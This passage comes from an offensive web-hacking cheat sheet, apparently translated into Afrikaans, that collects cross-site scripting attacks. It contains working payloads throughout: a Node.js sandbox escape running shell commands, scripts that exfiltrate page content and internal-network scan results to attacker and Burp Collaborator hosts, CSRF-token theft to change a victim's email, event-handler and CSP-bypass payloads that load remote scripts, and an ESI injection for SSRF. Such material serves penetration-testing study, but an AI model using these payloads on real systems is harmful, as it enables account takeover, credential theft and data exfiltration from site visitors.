// use x.getFunction() to get the upper function, which is the one that Node.js adds a wrapper to, and then use arugments to get the parameter
const fn = x.getFunction()
console.log(String(fn).slice(0, 200))
console.log(fn?.arguments)
console.log('='.repeat(40))
if ((args = fn?.arguments)?.length > 0) {
req = args[1]
console.log(req('child_process').execSync('id').toString())
}
}
}
trigger()
Jy sal nie in staat wees om die koekies vanaf JavaScript te bekom nie as die HTTPOnly-vlag in die koekie gestel is. Maar hier het jy sommige maniere om hierdie beskerming te omseil as jy gelukkig genoeg is.
Steel Bladsy Inhoud
var url = "http://10.10.10.25:8000/vac/a1fbf2d1-7c3f-48d2-b0c3-a205e54e09e8";
var attacker = "http://10.10.14.8/exfil";
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (xhr.readyState == XMLHttpRequest.DONE) {
fetch(attacker + "?" + encodeURI(btoa(xhr.responseText)))
}
}
xhr.open('GET', url, true);
xhr.send(null);
Vind interne IP's
<script>
var q = []
var collaboratorURL = 'http://5ntrut4mpce548i2yppn9jk1fsli97.burpcollaborator.net';
var wait = 2000
var n_threads = 51
// Prepare the fetchUrl functions to access all the possible
for(i=1;i<=255;i++){
q.push(
function(url){
return function(){
fetchUrl(url, wait);
}
}('http://192.168.0.'+i+':8080'));
}
// Launch n_threads threads that are going to be calling fetchUrl until there is no more functions in q
for(i=1; i<=n_threads; i++){
if(q.length) q.shift()();
}
function fetchUrl(url, wait){
console.log(url)
var controller = new AbortController(), signal = controller.signal;
fetch(url, {signal}).then(r=>r.text().then(text=>
{
location = collaboratorURL + '?ip='+url.replace(/^http:\/\//,'')+'&code='+encodeURIComponent(text)+'&'+Date.now()
}
))
.catch(e => {
if(!String(e).includes("The user aborted a request") && q.length) {
q.shift()();
}
});
setTimeout(x=>{
controller.abort();
if(q.length) {
q.shift()();
}
}, wait);
}
</script>
Wanneer enige data in die wagwoordveld ingevoer word, word die gebruikersnaam en wagwoord na die aanvaller se bediener gestuur, selfs al kies die kliënt 'n gestoor wagwoord en skryf niks nie, sal die geloofsbriewe ge-exfiltreer word.
Keylogger
Net deur in github te soek, het ek 'n paar verskillende gevind:
Jy kan ook metasploit http_javascript_keylogger gebruik
Stealing CSRF tokens
<script>
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get','/email',true);
req.send();
function handleResponse() {
var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
var changeReq = new XMLHttpRequest();
changeReq.open('post', '/email/change-email', true);
changeReq.send('csrf='+token+'&email=test@test.com')
};
</script>
"><img src='//domain/xss'>
"><script src="//domain/xss.js"></script>
><a href="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">Click Me For An Awesome Time</a>
<script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "//0mnb1tlfl5x4u55yfb57dmwsajgd42.burpcollaborator.net/scriptb");a.send();</script>
<!-- html5sec - Self-executing focus event via autofocus: -->
"><input onfocus="eval('d=document; _ = d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')" autofocus>
<!-- html5sec - JavaScript execution via iframe and onload -->
"><iframe onload="eval('d=document; _=d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')">
<!-- html5sec - SVG tags allow code to be executed with onload without any other elements. -->
"><svg onload="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')" xmlns="http://www.w3.org/2000/svg"></svg>
<!-- html5sec - allow error handlers in <SOURCE> tags if encapsulated by a <VIDEO> tag. The same works for <AUDIO> tags -->
"><video><source onerror="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">
<!-- html5sec - eventhandler - element fires an "onpageshow" event without user interaction on all modern browsers. This can be abused to bypass blacklists as the event is not very well known. -->
"><body onpageshow="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">
<!-- xsshunter.com - Sites that use JQuery -->
<script>$.getScript("//domain")</script>
<!-- xsshunter.com - When <script> is filtered -->
"><img src=x id=payload== onerror=eval(atob(this.id))>
<!-- xsshunter.com - Bypassing poorly designed systems with autofocus -->
"><input onfocus=eval(atob(this.id)) id=payload== autofocus>
<!-- noscript trick -->
<noscript><p title="</noscript><img src=x onerror=alert(1)>">
<!-- whitelisted CDNs in CSP -->
"><script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.1/angular.js"></script>
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.6.1/angular.min.js"></script>
<!-- ... add more CDNs, you'll get WARNING: Tried to load angular more than once if multiple load. but that does not matter you'll get a HTTP interaction/exfiltration :-]... -->
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>
Regex - Toegang tot Verborgen Inhoud
Van hierdie skrywe is dit moontlik om te leer dat selfs al verdwyn sommige waardes uit JS, dit steeds moontlik is om hulle in JS-attribuut in verskillende voorwerpe te vind. Byvoorbeeld, 'n invoer van 'n REGEX is steeds moontlik om dit te vind nadat die waarde van die invoer van die regex verwyder is:
// Do regex with flag
flag="CTF{FLAG}"
re=/./g
re.test(flag);
// Remove flag value, nobody will be able to get it, right?
flag=""
// Access previous regex input
console.log(RegExp.input)
console.log(RegExp.rightContext)
console.log(document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightContext"])
Brute-Force Lys
XSS Misbruik van ander kwesbaarhede
XSS in Markdown
Kan Markdown kode ingesluit word wat gerender sal word? Miskien kan jy XSS kry! Kontroleer:
XSS na SSRF
Het jy XSS op 'n webwerf wat caching gebruik? Probeer dit opgradeer na SSRF deur Edge Side Include Injection met hierdie payload:
<esi:include src="http://yoursite.com/capture" />
Gebruik dit om koekie-beperkings, XSS-filters en nog baie meer te omseil!
Meer inligting oor hierdie tegniek hier: XSLT.
XSS in dinamies geskepte PDF
As 'n webblad 'n PDF skep met behulp van gebruikersbeheerde invoer, kan jy probeer om die bot te mislei wat die PDF skep om arbitraire JS-kode te uit te voer.
As die PDF-skeppende bot 'n soort HTMLtags vind, gaan dit dit interpreteer, en jy kan hierdie gedrag misbruik om 'n Server XSS te veroorsaak.
As jy nie HTML-tags kan inspuit nie, kan dit die moeite werd wees om te probeer om PDF-data te inspuit:
XSS in Amp4Email
AMP, wat daarop gemik is om die webbladprestasie op mobiele toestelle te versnel, sluit HTML-tags in wat aangevul word deur JavaScript om funksionaliteit te verseker met 'n fokus op spoed en sekuriteit. Dit ondersteun 'n reeks komponente vir verskeie funksies, toeganklik via AMP-komponente.
Die AMP vir E-pos formaat brei spesifieke AMP-komponente uit na e-posse, wat ontvangers in staat stel om direk met inhoud binne hul e-posse te interaksie.
